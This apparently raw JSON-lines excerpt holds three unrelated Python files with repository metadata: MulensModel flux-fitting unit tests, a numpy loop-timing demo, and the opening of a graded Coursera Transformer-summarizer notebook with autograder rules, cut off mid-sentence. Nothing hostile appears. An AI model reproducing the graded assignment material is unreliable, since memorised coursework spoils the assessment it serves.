Create a PSPL model\n    t_0 = 3583.\n    u_0 = 0.3\n    t_E = 12.\n\n    t = np.linspace(t_0 - 3. * t_E, t_0 + 3. * t_E, 1000)\n    pspl = mm.Model({'t_0': t_0, 'u_0': u_0, 't_E': t_E})\n    A = pspl.get_magnification(t)\n\n    return (pspl, t, A)\n\n\ndef generate_binary_model():\n    \"\"\"\n    returns a binary source model, time array, and the magnification of\n    both sources\n    \"\"\"\n\n    # retrieve model 1\n    (model_1, t, A_1) = generate_model()\n    t_0_1 = model_1.parameters.t_0\n    u_0_1 = model_1.parameters.u_0\n\n    # create second model\n    t_0_2 = 3570.\n    u_0_2 = 0.25\n    t_E = model_1.parameters.t_E\n\n    model_2 = mm.Model({'t_0': t_0_2, 'u_0': u_0_2, 't_E': t_E})\n\n    A_2 = model_2.get_magnification(t)\n\n    # create separate binary model\n    params = {'t_0_1': t_0_1, 'u_0_1': u_0_1, 't_0_2': t_0_2, 'u_0_2': u_0_2,\n              't_E': t_E}\n    binary_model = mm.Model(params)\n\n    return (binary_model, t, A_1, A_2)\n\n\ndef generate_dataset(f_mod, t):\n    \"\"\"\n    pass in f_mod and t, returns a MulensData\n    \"\"\"\n\n    # error in measurement\n    err = f_mod * 0.01\n\n    my_dataset = mm.MulensData(data_list=[t, f_mod, err], phot_fmt='flux')\n\n    return my_dataset\n\n\ndef execute_test_blend_fixed(f_b):\n    # test for when source flux is to be determined, but blend flux is a\n    # fixed value\n\n    pspl, t, A = generate_model()\n\n    # secret source flux\n    f_s = 1.0\n    f_mod = f_s * A + f_b\n\n    my_dataset = generate_dataset(f_mod, t)\n    my_fit = mm.FitData(\n        model=pspl, dataset=my_dataset, fix_blend_flux=f_b,\n        fix_source_flux=False)\n    my_fit.fit_fluxes()\n\n    almost(my_fit.source_flux, f_s)\n\n\nclass BinarySourceTest():\n\n    def __init__(self):\n        self.f_s_1 = 1\n        self.f_s_2 = 1.2\n        self.f_b = 0.5\n\n        self.setup_dataset()\n\n    def setup_dataset(self):\n        self.model, self.t, self.A_1, self.A_2 = generate_binary_model()\n        f_mod = self.f_s_1 * self.A_1 + self.f_s_2 * self.A_2 + self.f_b\n        self.dataset = generate_dataset(f_mod, self.t)\n\n    def run_test(\n            self, fix_blend_flux=False, fix_source_flux=False,\n            fix_q_flux=False):\n\n        self.my_fit = mm.FitData(\n            model=self.model, dataset=self.dataset,\n            fix_blend_flux=fix_blend_flux,\n            fix_source_flux=fix_source_flux, fix_source_flux_ratio=fix_q_flux)\n        self.my_fit.fit_fluxes()\n\n        almost(self.my_fit.blend_flux, self.f_b)\n        almost(self.my_fit.source_fluxes[0], self.f_s_1)\n        almost(self.my_fit.source_fluxes[1], self.f_s_2)\n\n        # Test get_model_fluxes() for 2 sources\n        peak_index = 500\n        mod_fluxes = self.my_fit.get_model_fluxes()\n        almost(mod_fluxes[peak_index], self.dataset.flux[peak_index])\n\n\ndef execute_test_binary_source(q_flux=False):\n    # test for when blend flux and source flux are to be determined for binary\n    # sources with q-flux\n\n    test = BinarySourceTest()\n    if q_flux:\n        fix_q_flux = test.f_s_2 / test.f_s_1\n    else:\n        fix_q_flux = False\n\n    test.run_test(fix_q_flux=fix_q_flux)\n\n\n# *** Actual tests below ***\ndef test_default():\n    \"\"\"\n    test for when blend flux and source flux are to be determined\n    \"\"\"\n    pspl, t, A = generate_model()\n\n    # secrets\n    f_s = 1.0\n    f_b = 0.5\n    # generate f_mod\n    f_mod = f_s * A + f_b\n\n    my_dataset = generate_dataset(f_mod, t)\n    my_fit = mm.FitData(\n        model=pspl, dataset=my_dataset, fix_blend_flux=False,\n        fix_source_flux=False)\n    my_fit.fit_fluxes()\n\n    almost(my_fit.blend_flux, f_b)\n    almost(my_fit.source_flux, f_s)\n\n    # Test get_model_fluxes() for 1 source\n    peak_index = 500\n    mod_fluxes = my_fit.get_model_fluxes()\n    almost(mod_fluxes[peak_index], my_dataset.flux[peak_index])\n\n\ndef test_blend_zero():\n    \"\"\"\n    test for when source flux is to be determined, but blend flux is zero\n    \"\"\"\n    execute_test_blend_fixed(f_b=0.)\n\n\ndef test_blend_fixed():\n    \"\"\"\n    test for when source flux is to be determined, but blend flux is\n    zero\n    \"\"\"\n    execute_test_blend_fixed(f_b=0.5)\n    execute_test_blend_fixed(f_b=-0.5)\n\n\ndef test_source_fixed():\n    \"\"\"\n    test for when blend flux is to be determined, but source flux is a fixed\n    value\n    \"\"\"\n\n    pspl, t, A = generate_model()\n\n    # secret blend flux, set source flux\n    f_s = 1.0\n    f_b = 0.5\n    f_mod = f_s * A + f_b\n\n    my_dataset = generate_dataset(f_mod, t)\n    my_fit = mm.FitData(\n        model=pspl, dataset=my_dataset, fix_blend_flux=False,\n        fix_source_flux=f_s)\n    my_fit.fit_fluxes()\n\n    almost(my_fit.blend_flux, f_b)\n\n\ndef test_both_fixed():\n    \"\"\"\n    test for when both fluxes are fixed --> evaluate chi2 but not fluxes.\n    \"\"\"\n    pspl, t, A = generate_model()\n\n    # secret blend flux, set source flux\n    f_s = 1.0\n    f_b = 0.5\n    f_mod = f_s * A + f_b\n\n    my_dataset = generate_dataset(f_mod, t)\n    my_fit = mm.FitData(\n        model=pspl, dataset=my_dataset, fix_blend_flux=f_b,\n        fix_source_flux=f_s)\n    my_fit.update()\n\n    almost(my_fit.blend_flux, f_b)\n    almost(my_fit.source_flux, f_s)\n\n\ndef test_binary_source():\n    \"\"\"Test a binary source model with all free parameters.\"\"\"\n    execute_test_binary_source(q_flux=False)\n\n\ndef test_binary_source_fixed():\n    \"\"\"\n    Test the three cases for fixing each of the three components of a binary\n    source model\n    \"\"\"\n    test = BinarySourceTest()\n    test.run_test(fix_source_flux=[False, False])\n    test.run_test(fix_source_flux=[1.0, False])\n    test.run_test(fix_source_flux=[False, 1.2])\n    test.run_test(fix_source_flux=[1.0, 1.2])\n    test.run_test(fix_blend_flux=0.5)\n    test.run_test(fix_source_flux=[1.0, 1.2], fix_blend_flux=0.5)\n    test.run_test(fix_source_flux=[1.0, False], fix_blend_flux=0.5)\n\n\nclass TestFitData(unittest.TestCase):\n    def test_init_1(self):\n        with self.assertRaises(ValueError):\n            test = BinarySourceTest()\n            test.run_test(fix_source_flux=1.0)\n\n\ndef test_binary_qflux():\n    \"\"\"\n    test for when blend flux and source flux are to be determined for binary\n    sources with q-flux\n    \"\"\"\n\n    execute_test_binary_source(q_flux=True)\n\n\ndef test_fit_fluxes():\n    \"\"\"\n    test that when the model is updated, and fit fluxes is re-run, the fluxes\n    actually change.\n    \"\"\"\n\n    pspl, t, A = generate_model()\n\n    # secret blend flux, set source flux\n    f_s = 1.0\n    f_b = 0.5\n    f_mod = f_s * A + f_b\n\n    my_dataset = generate_dataset(f_mod, t)\n    my_fit = mm.FitData(\n        model=pspl, dataset=my_dataset, fix_blend_flux=False,\n        fix_source_flux=False)\n    #   Before update or fit_fluxes is run, chi2_per_point should be None\n    assert(my_fit.chi2_per_point is None)\n    my_fit.update()\n    #   After update is run, chi2_per_point should have some values\n    assert (len(my_fit.chi2_per_point) == 1000)\n    f_s_1 = my_fit.source_flux\n    chi2_1 = my_fit.chi2\n\n    t_E_2 = pspl.parameters.t_E / (f_s + f_b)\n    u_0_2 = pspl.parameters.u_0 / (f_s + f_b)\n    new_model = mm.Model(\n        {'t_0': pspl.parameters.t_0, 'u_0': u_0_2, 't_E': t_E_2})\n    my_fit.model = new_model\n    my_fit.fix_blend_flux = 0.\n    my_fit.fit_fluxes()\n\n    assert(f_s_1 != my_fit.source_flux)\n    assert(chi2_1 == my_fit.chi2)\n\n    my_fit.update()\n    assert(chi2_1 != my_fit.chi2)\n\n\ndef test_chi2_per_point():\n    \"\"\"Test that the chi2 shape is correct for multiple sources, i.e. = number\n    of epochs, rather than epochs * sources.\"\"\"\n    test_object = BinarySourceTest()\n    my_fit = mm.FitData(model=test_object.model, dataset=test_object.dataset)\n    my_fit.update()\n\n    assert(my_fit.chi2_per_point.shape == (test_object.dataset.n_epochs,))\n\n\ndef test_satellite_and_annual_parallax_calculation():\n    \"\"\"\n    test that data magnifications are correctly retrieved for Spitzer data.\n    \"\"\"\n\n    # Create Model\n    model_parameters = {\n        't_0': 2456836.22, 'u_0': 0.922, 't_E': 22.87,\n        'pi_E_N': -0.248, 'pi_E_E': 0.234, 't_0_par': 2456836.2}\n    coords = \"17:47:12.25 -21:22:58.2\"\n    model_with_par = mm.Model(model_parameters, coords=coords)\n    model_with_par.parallax(satellite=True, earth_orbital=True,\n                            topocentric=False)\n\n    # Load Spitzer data and answers\n    data_Spitzer = mm.MulensData(\n        file_name=SAMPLE_FILE_03, ephemerides_file=SAMPLE_FILE_03_EPH)\n    ref_Spitzer = np.loadtxt(SAMPLE_FILE_03_REF, unpack=True, usecols=[5])\n\n    # Test FitData.data_magnification()\n    my_fit = mm.FitData(dataset=data_Spitzer, model=model_with_par)\n    ratio = my_fit.get_data_magnification() / ref_Spitzer\n    np.testing.assert_almost_equal(ratio, [1.]*len(ratio), decimal=4)\n\n\ndef test_bad_data():\n    \"\"\"\n    test how chi2 and chi2_per_point are affected if some datapoints are set\n    to bad.\n\n    Effectively tests\n        update()\n        fit_fluxes()\n        get_data_magnification()\n        get_model_fluxes()\n        chi2\n        chi2_per_point\n\n    \"\"\"\n\n    # test that chi2 changes when using all data points vs. eliminating the\n    # planet.\n    (t_planet_start, t_planet_stop) = (2460982., 2460985.)\n    data = mm.MulensData(file_name=SAMPLE_FILE_04_WF)\n    flag_planet = (data.time > t_planet_start) & (\n        data.time < t_planet_stop) | np.isnan(data.err_mag)\n    data_bad = mm.MulensData(file_name=SAMPLE_FILE_04_WF, bad=flag_planet)\n\n    (t_0, u_0, t_E) = (2460962.36458, 0.411823, 22.8092)\n    point_lens_model = mm.Model({'t_0': t_0, 'u_0': u_0, 't_E': t_E})\n    fit_all = mm.FitData(dataset=data, model=point_lens_model)\n    fit_bad = mm.FitData(dataset=data_bad, model=point_lens_model)\n    assert(fit_all.chi2 is None)\n    fit_all.update()\n    fit_bad.update()\n    chi2_all = fit_all.chi2\n    chi2_bad = fit_bad.chi2\n    assert(chi2_all > chi2_bad)\n\n    # test whether chi2_per_point is calculated for bad points.\n    # not calculated --> magnification = 0, model_flux --> f_blend, dchi2=large\n    # update: bad not specified --> not calculated\n    # Likewise, do these tests for get_model_magnitudes\n    # points:\n    #   during anomaly 13055\n    #   before anomaly, but excluded: 12915\n    #   before anomaly, but included: 12900\n    good_pt = 12900\n    bad_pt = 12915\n    assert (fit_bad.chi2_per_point[bad_pt] / fit_bad.chi2_per_point[good_pt] >\n            100.)\n    expected_mag = mm.Utils.get_mag_from_flux(fit_bad.blend_flux)\n    almost(fit_bad.get_model_magnitudes()[bad_pt], expected_mag)\n\n    # update: bad=True --> calculated\n    fit_bad.update(bad=True)\n    assert (fit_bad.chi2_per_point[bad_pt] / fit_bad.chi2_per_point[good_pt] <\n            10.)\n    almost(fit_bad.get_model_magnitudes()[bad_pt], 19.27, decimal=1)\n\n    # update: bad=False --> not calculated\n    fit_bad.update(bad=False)\n    assert (fit_bad.chi2_per_point[bad_pt] / fit_bad.chi2_per_point[good_pt] >\n            100.)\n    almost(fit_bad.get_model_magnitudes()[bad_pt], expected_mag)\n\n    # Test fitted fluxes are different with and without bad data points.\n    assert (fit_all.source_flux > fit_bad.source_flux)\n\n\ndef test_scale_fluxes():\n    \"\"\"Specify a source_flux, blend_flux and make sure it works\"\"\"\n\n    # Original Flux values\n    f_s = 1.0\n    f_b = 0.5\n\n    # Generate fake data from a fake model\n    pspl, t, A = generate_model()\n    f_mod = f_s * A + f_b\n    data = generate_dataset(f_mod, t)\n\n    fit = mm.FitData(dataset=data, model=pspl)\n    fit.fit_fluxes()\n\n    num = 100\n    # Test the same\n    (new_flux, new_err) = fit.scale_fluxes(source_flux=f_s, blend_flux=f_b)\n    almost(data.flux[num], new_flux[num])\n\n    # Test Different\n    (f_s_new, f_b_new) = (0.1, 0.)\n    exp_flux = (data.flux - f_b) * f_s_new / f_s + f_b_new\n    exp_err = data.err_flux * f_s_new / f_s\n    (new_flux, new_err) = fit.scale_fluxes(\n        source_flux=f_s_new, blend_flux=f_b_new)\n    assert np.abs(data.flux[num] - new_flux[num]) > 0.5\n    almost(exp_flux / new_flux, 1.)\n    almost(exp_err / new_err, 1.)\n\n\nclass TestGetResiduals(unittest.TestCase):\n    \"\"\"\n    test get_residuals():\n    Test all keywords:\n        phot_fmt: 'mag', 'flux'\n        phot_fmt: 'scaled' and source_flux, blend_flux specified\n        bad: True, False\n    test values of residuals and errorbars\n    \"\"\"\n\n    def setUp(self):\n        self.model = mm.Model(\n            {'t_0': 8000., 'u_0': 0.3, 't_E': 25.})\n        self.generate_fake_dataset()\n        self.fit = mm.FitData(model=self.model, dataset=self.dataset)\n        self.fit.fit_fluxes()\n\n    def generate_fake_dataset(self):\n        \"\"\"\n        create a fake, perfect dataset, but with a few known outliers and\n        errorbar variations.\n        \"\"\"\n        self.dataset_properties = {\n            'f_source': 10, 'f_blend': 3.5, 'errorbar': 1.}\n\n        # Generate perfect data\n        n = 3\n        dt = 1.0\n        times = np.arange(\n            self.model.parameters.t_0 - n * self.model.parameters.t_E,\n            self.model.parameters.t_0 + n * self.model.parameters.t_E,\n            dt)\n        flux = (self.dataset_properties['f_source'] *\n                self.model.get_magnification(times) +\n                self.dataset_properties['f_blend'])\n        err = np.zeros(len(times)) + self.dataset_properties['errorbar']\n        bad = np.zeros(len(times), dtype=bool)\n\n        # Add outliers\n        self.outliers = {'index': np.arange(0, len(times)-5, 10)+3}\n        self.outliers['values'] = 10 + np.zeros(len(self.outliers['index']))\n        for i in np.arange(len(self.outliers['index'])):\n            if i % 5 == 0:\n                self.outliers['values'][i] *= -1\n\n            flux[self.outliers['index'][i]] += self.outliers['values'][i]\n            bad[self.outliers['index'][i]] = True\n\n        # Add errorbar variations\n        self.big_errors = {'index': np.arange(0, len(times)-6, 21) + 4}\n        self.big_errors['values'] = 5. + np.zeros(\n            len(self.big_errors['index']))\n        for i in np.arange(len(self.big_errors['index'])):\n            err[self.big_errors['index'][i]] = self.big_errors['values'][i]\n\n        assert np.sum(err) > len(err) * self.dataset_properties['errorbar']\n\n        # Create final dataset\n        self.dataset = mm.MulensData(\n            [times, flux, err], phot_fmt='flux', bad=bad)\n\n    def test_bad_keyword(self):\n        \"\"\"\n        If bad = False, the magnification should be zero. Therefore, the flux\n        calculated for the bad data points should be f_blend. If bad=True,\n        the values should be the true values of the residuals.\n        \"\"\"\n        # Bad = False\n        (residuals, res_errors) = self.fit.get_residuals(\n            phot_fmt='flux', bad=False)\n\n        for index in self.outliers['index']:\n            exp_residual = (self.dataset.flux[index] -\n                            self.dataset_properties['f_blend'])\n            almost(residuals[index], exp_residual)\n\n        # Check errorbars\n        almost(res_errors, self.dataset.err_flux)\n\n        # Bad = True\n        (residuals, res_errors) = self.fit.get_residuals(\n            phot_fmt='flux', bad=True)\n\n        for i, index in enumerate(self.outliers['index']):\n            exp_residual = self.outliers['values'][i]\n            almost(residuals[index], exp_residual)\n\n        # Check errorbars\n        almost(res_errors, self.dataset.err_flux)\n\n    def test_photfmt_mag(self):\n        \"\"\" check phot_fmt = 'mag' .\"\"\"\n        # Bad = True\n        (residuals, res_errors) = self.fit.get_residuals(\n            phot_fmt='mag', bad=True)\n\n        # Simple sign check\n        for i, index in enumerate(self.outliers['index']):\n            if self.outliers['values'][i] > 0:\n                assert residuals[index] < 0\n            else:\n                assert residuals[index] > 0\n\n        # Value check\n        for i in np.arange(len(self.dataset.time)):\n            if i in self.outliers['index']:\n                index = np.where(self.outliers['index'] == i)\n                f_0 = self.dataset.flux[i] - self.outliers['values'][index]\n                f_obs = self.dataset.flux[i]\n                delta_mag = -2.5*np.log10(f_obs / f_0)\n                almost(delta_mag, residuals[i])\n            else:\n                # Non-outliers should have zero residual\n                almost(residuals[i], 0)\n\n        # Check errorbars\n        almost(res_errors, self.dataset.err_mag)\n\n    def test_photfmt_scaled_1(self):\n        \"\"\" check phot_fmt='scaled' \"\"\"\n        f_source_0 = 1.0\n        f_blend_0 = 0.1\n\n        # Bad = True\n        (residuals, res_errors) = self.fit.get_residuals(\n            phot_fmt='scaled', source_flux=f_source_0, blend_flux=f_blend_0,\n            bad=True)\n\n        model_flux = (f_source_0 *\n                      self.model.get_magnification(self.dataset.time) +\n                      f_blend_0)\n        model_mag = mm.Utils.get_mag_from_flux(model_flux)\n        for i in np.arange(len(self.dataset.time)):\n            exp_flux = (f_source_0 *\n                        (self.dataset.flux[i] -\n                         self.dataset_properties['f_blend']) /\n                        self.dataset_properties['f_source'] + f_blend_0)\n            if i in self.outliers['index']:\n                exp_mag = mm.Utils.get_mag_from_flux(exp_flux)\n                exp_delta_mag = exp_mag - model_mag[i]\n                almost(exp_delta_mag, residuals[i])\n            else:\n                # Non-outliers should have zero residual\n                almost(residuals[i], 0)\n\n            # Check errorbars\n            exp_err_flux = (f_source_0 * self.dataset.err_flux[i] /\n                            self.dataset_properties['f_source'])\n            exp_err_mag = 2.5 * exp_err_flux / exp_flux / np.log(10.)\n            almost(exp_err_mag, res_errors[i])\n            assert self.dataset.err_mag[i] != res_errors[i]\n\n    def test_photfmt_scaled_2(self):\n        \"\"\" check phot_fmt='scaled'; true values of f_source, f_blend should\n        yield errorbars identical to the true values.\"\"\"\n        f_source_0 = self.dataset_properties['f_source']\n        f_blend_0 = self.dataset_properties['f_blend']\n\n        # Bad = True\n        (residuals, res_errors) = self.fit.get_residuals(\n            phot_fmt='scaled', source_flux=f_source_0, blend_flux=f_blend_0,\n            bad=True)\n        almost(res_errors, self.dataset.err_mag)\n\n# Tests to add:\n#\n# test get_chi2_gradient(), chi2_gradient:\n#   Effectively covered by unit tests in event.py\n#\n# properties:\n#   chi2, chi2_per_point, source_flux, source_fluxes, blend_flux, q_flux,\n#   dataset, model\n", "meta": {"hexsha": "4f7767aa0f30ab1a125b5f88b363dc658237bb61", "size": 19299, "ext": "py", "lang": "Python", "max_stars_repo_path": "source/MulensModel/tests/test_FitData.py", "max_stars_repo_name": "ketozhang/MulensModel", "max_stars_repo_head_hexsha": "cad22055b4c18f2ddc5a20de64240d2286cc23be", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "source/MulensModel/tests/test_FitData.py", "max_issues_repo_name": "ketozhang/MulensModel", "max_issues_repo_head_hexsha": "cad22055b4c18f2ddc5a20de64240d2286cc23be", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "source/MulensModel/tests/test_FitData.py", "max_forks_repo_name": "ketozhang/MulensModel", "max_forks_repo_head_hexsha": "cad22055b4c18f2ddc5a20de64240d2286cc23be", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.5343137255, "max_line_length": 79, "alphanum_fraction": 0.6342297528, "include": true, "reason": "import numpy,from numpy", "num_tokens": 5366, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.17328821233352107, "lm_q1q2_score": 0.0852904021708251}}
{"text": "\"\"\"\nThis is a short demonstration of the hazards that come from learning languages\nlike C/Java before Python; they promote ways of thinking that lead to painfully\nslow code. If you're looping over an array in Python, you're almost always doing it wrong.\n\nThese loops work in C/Java because they are compiled. The compiler analyzes the program\nas a whole and produces instructions for the CPU that may not resemble in any way the\ncode written. Python is interpreted and so there is no optimization as the interpreter\nonly sees one line at a time.\n\"\"\"\n\nimport time\nimport numpy as np\n\narr = np.random.rand(4096*4096)\n\n# Looping over indices as in other languages\nstart = time.time()\nfor i in range(arr.size):\n    e = arr[i]\nprint('Looping over indices:', time.time()-start)\n\n# Basic iteration\nstart = time.time()\nfor i in arr:\n    pass\nprint('Proper for each use:', time.time()-start)", "meta": {"hexsha": "c6588db47cd04a54663e943f8e9e5cc16faaebbf", "size": 882, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/iteration.py", "max_stars_repo_name": "Saethlin/python-astronomy-workshops", "max_stars_repo_head_hexsha": "8911805e5979d13cf78139b771c347a7a4119e2a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "examples/iteration.py", "max_issues_repo_name": "Saethlin/python-astronomy-workshops", "max_issues_repo_head_hexsha": "8911805e5979d13cf78139b771c347a7a4119e2a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "examples/iteration.py", "max_forks_repo_name": "Saethlin/python-astronomy-workshops", "max_forks_repo_head_hexsha": "8911805e5979d13cf78139b771c347a7a4119e2a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.6666666667, "max_line_length": 90, "alphanum_fraction": 0.7551020408, "include": true, "reason": "import numpy", "num_tokens": 204, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4493926344647596, "lm_q2_score": 0.18952109132967757, "lm_q1q2_score": 0.0851693825192801}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# \n# # Assignment 2: Transformer Summarizer\n# \n# Welcome to the second assignment of course 4. In this assignment you will explore summarization using the transformer model. Yes, you will implement the transformer decoder from scratch, but we will slowly walk you through it. There are many hints in this notebook so feel free to use them as needed. \n# \n# <img src = \"images/transformerNews.png\">\n# \n# ## Important Note on Submission to the AutoGrader\n# \n# Before submitting your assignment to the AutoGrader, please make sure you are not doing the following:\n# \n# 1. You have not added any _extra_ `print` statement(s) in the assignment.\n# 2. You have not added any _extra_ code cell(s) in the assignment.\n# 3. You have not changed any of the function parameters.\n# 4. You are not using any global variables inside your graded exercises. Unless specifically instructed to do so, please refrain from it and use the local variables instead.\n# 5. You are not changing the assignment code where it is not required, like creating _extra_ variables.\n# \n# If you do any of the following, you will get something like, `Grader not found` (or similarly unexpected) error upon submitting your assignment. Before asking for help/debugging the errors in your assignment, check for these first. If this is the case, and you don't remember the changes you have made, you can get a fresh copy of the assignment by following these [instructions](https://www.coursera.org/learn/attention-models-in-nlp/supplement/shBOS/how-to-refresh-your-workspace).\n\n# ## Outline\n# \n# - [Introduction](#0)\n# - [Part 1: Importing the dataset](#1)\n#     - [1.1 Encode & Decode helper functions](#1.1)\n#     - [1.2 Defining parameters](#1.2)\n#     - [1.3 Exploring the data](#1.3)\n# - [Part 2: Summarization with transformer](#2)\n#     - [2.1 Dot product attention](#2.1)\n#         - [Exercise 01](#ex01)\n#     - [2.2 Causal Attention](#2.2)\n#         - [Exercise 02](#ex02)\n#     - [2.3 Transformer decoder block](#2.3)\n#         - [Exercise 03](#ex03)\n#     - [2.4 Transformer Language model](#2.4)\n#         - [Exercise 04](#ex04)\n# - [Part 3: Training](#3)\n#     - [3.1 Training the model](#3.1)\n#         - [Exercise 05](#ex05)\n# - [Part 4: Evaluation](#4)\n#     - [4.1 Loading in a trained model](#4.1)\n# - [Part 5: Testing with your own input](#5) \n#     - [Exercise 6](#ex06)\n#     - [5.1 Greedy decoding](#5.1)\n#         - [Exercise 07](#ex07)\n\n# <a name='0'></a>\n# ### Introduction\n# \n# Summarization is an important task in natural language processing and could be useful for a consumer enterprise. For example, bots can be used to scrape articles, summarize them, and then you can use sentiment analysis to identify the sentiment about certain stocks. Anyways who wants to read an article or a long email today, when you can build a transformer to summarize text for you. Let's get started, by completing this assignment you will learn to:  \n# \n# - Use built-in functions to preprocess your data\n# - Implement DotProductAttention\n# - Implement Causal Attention\n# - Understand how attention works\n# - Build the transformer model\n# - Evaluate your model\n# - Summarize an article\n# \n# As you can tell, this model is slightly different than the ones you have already implemented. This is heavily based on attention and does not rely on sequences, which allows for parallel computing. \n\n# In[1]:\n\n\nimport sys\nimport os\nimport w2_tests\nimport numpy as np\n\nimport textwrap\nwrapper = textwrap.TextWrapper(width=70)\n\nimport trax\nfrom trax import layers as tl\nfrom trax.fastmath import numpy as jnp\n\n# to print the entire np array\nnp.set_printoptions(threshold=sys.maxsize)\n\n\n# In[2]:\n\n\n\n\n\n# <a name='1'></a>\n# ## Part 1: Importing the dataset\n\n# Trax makes it easy to work with Tensorflow's datasets:\n\n# In[3]:\n\n\n# This will download the dataset if no data_dir is specified.\n# so we have the data already in 'data/' for you\n\n# Importing CNN/DailyMail articles dataset\ntrain_stream_fn = trax.data.TFDS('cnn_dailymail',\n                                 data_dir='data/',\n                                 keys=('article', 'highlights'),\n                                 train=True)\n\n# This should be much faster as the data is downloaded already.\neval_stream_fn = trax.data.TFDS('cnn_dailymail',\n                                data_dir='data/',\n                                keys=('article', 'highlights'),\n                                train=False)\n\n\n# <a name='1.1'></a>\n# ## 1.1 Tokenize & Detokenize helper functions\n# \n# Just like in the previous assignment, the cell above loads in the encoder for you. Given any data set, you have to be able to map words to their indices, and indices to their words. The inputs and outputs to your [Trax](https://github.com/google/trax) models are usually tensors of numbers where each number corresponds to a word. If you were to process your data manually, you would have to make use of the following: \n# \n# - <span style='color:blue'> word2Ind: </span> a dictionary mapping the word to its index.\n# - <span style='color:blue'> ind2Word:</span> a dictionary mapping the index to its word.\n# - <span style='color:blue'> word2Count:</span> a dictionary mapping the word to the number of times it appears. \n# - <span style='color:blue'> num_words:</span> total number of words that have appeared. \n# \n# Since you have already implemented these in previous assignments of the specialization, we will provide you with helper functions that will do this for you. Run the cell below to get the following functions:\n# \n# - <span style='color:blue'> tokenize: </span> converts a text sentence to its corresponding token list (i.e. list of indices). Also converts words to subwords.\n# - <span style='color:blue'> detokenize: </span> converts a token list to its corresponding sentence (i.e. string).\n\n# In[4]:\n\n\ndef tokenize(input_str, EOS=1):\n    \"\"\"Input str to features dict, ready for inference\"\"\"\n  \n    # Use the trax.data.tokenize method. It takes streams and returns streams,\n    # we get around it by making a 1-element stream with `iter`.\n    inputs =  next(trax.data.tokenize(iter([input_str]),\n                                      vocab_dir='vocab_dir/',\n                                      vocab_file='summarize32k.subword.subwords'))\n    \n    # Mark the end of the sentence with EOS\n    return list(inputs) + [EOS]\n\n\ndef detokenize(integers):\n    \"\"\"List of ints to str\"\"\"\n  \n    s = trax.data.detokenize(integers,\n                             vocab_dir='vocab_dir/',\n                             vocab_file='summarize32k.subword.subwords')\n    \n    return wrapper.fill(s)\n\n\n# <a name='1.2'></a>\n# \n# ## 1.2 Preprocessing for Language Models: Concatenate It!\n# \n# This week you will use a language model -- Transformer Decoder -- to solve\n# an input-output problem. As you know, language models only predict the next\n# word, they have no notion of inputs. To create a single input suitable for\n# a language model, we concatenate inputs with targets putting a separator\n# in between. We also need to create a mask -- with 0s at inputs and 1s at targets -- so that the model is not penalized for mis-predicting the article and only focuses on the summary. See the preprocess function below for how this is done.\n\n# In[5]:\n\n\n# Special tokens\nSEP = 0  # Padding or separator token\nEOS = 1  # End of sentence token\n\n# Concatenate tokenized inputs and targets using 0 as separator.\ndef preprocess(stream):\n    for (article, summary) in stream:\n        joint = np.array(list(article) + [EOS, SEP] + list(summary) + [EOS])\n        mask = [0] * (len(list(article)) + 2) + [1] * (len(list(summary)) + 1) # Accounting for EOS and SEP\n        yield joint, joint, np.array(mask)\n\n# You can combine a few data preprocessing steps into a pipeline like this.\ninput_pipeline = trax.data.Serial(\n    # Tokenizes\n    trax.data.Tokenize(vocab_dir='vocab_dir/',\n                       vocab_file='summarize32k.subword.subwords'),\n    # Uses function defined above\n    preprocess,\n    # Filters out examples longer than 2048\n    trax.data.FilterByLength(2048)\n)\n\n# Apply preprocessing to data streams.\ntrain_stream = input_pipeline(train_stream_fn())\neval_stream = input_pipeline(eval_stream_fn())\n\ntrain_input, train_target, train_mask = next(train_stream)\n\nassert sum((train_input - train_target)**2) == 0  # They are the same in Language Model (LM).\n\n\n# In[6]:\n\n\n# prints mask, 0s on article, 1s on summary\nprint(f'Single example mask:\\n\\n {train_mask}')\n\n\n# In[7]:\n\n\n# prints: [Example][<EOS>][<pad>][Example Summary][<EOS>]\nprint(f'Single example:\\n\\n {detokenize(train_input)}')\n\n\n# <a name='1.3'></a>\n# \n# ## 1.3 Batching with bucketing\n# \n# As in the previous week, we use bucketing to create batches of data.\n\n# In[8]:\n\n\n# Bucketing to create batched generators.\n\n# Buckets are defined in terms of boundaries and batch sizes.\n# Batch_sizes[i] determines the batch size for items with length < boundaries[i]\n# So below, we'll take a batch of 16 sentences of length < 128 , 8 of length < 256,\n# 4 of length < 512. And so on. \nboundaries =  [128, 256,  512, 1024]\nbatch_sizes = [16,    8,    4,    2, 1]\n\n# Create the streams.\ntrain_batch_stream = trax.data.BucketByLength(\n    boundaries, batch_sizes)(train_stream)\n\neval_batch_stream = trax.data.BucketByLength(\n    boundaries, batch_sizes)(eval_stream)\n\n\n# In[9]:\n\n\n# Every execution will result in generation of a different article\n# Try running this cell multiple times to see how the length of the examples affects the batch size\ninput_batch, _, mask_batch = next(train_batch_stream)\n\n# Shape of the input_batch\ninput_batch.shape\n\n\n# In[10]:\n\n\n# print corresponding integer values\nprint(input_batch[0])\n\n\n# Things to notice:\n#  - First we see the corresponding values of the words.\n#  - The first 1, which represents the `<EOS>` tag of the article.\n#  - Followed by a 0, which represents a `<pad>` tag.\n#  - After the first 0 (`<pad>` tag) the corresponding values are of the words that are used for the summary of the article.\n#  - The second 1 represents the `<EOS>` tag for the 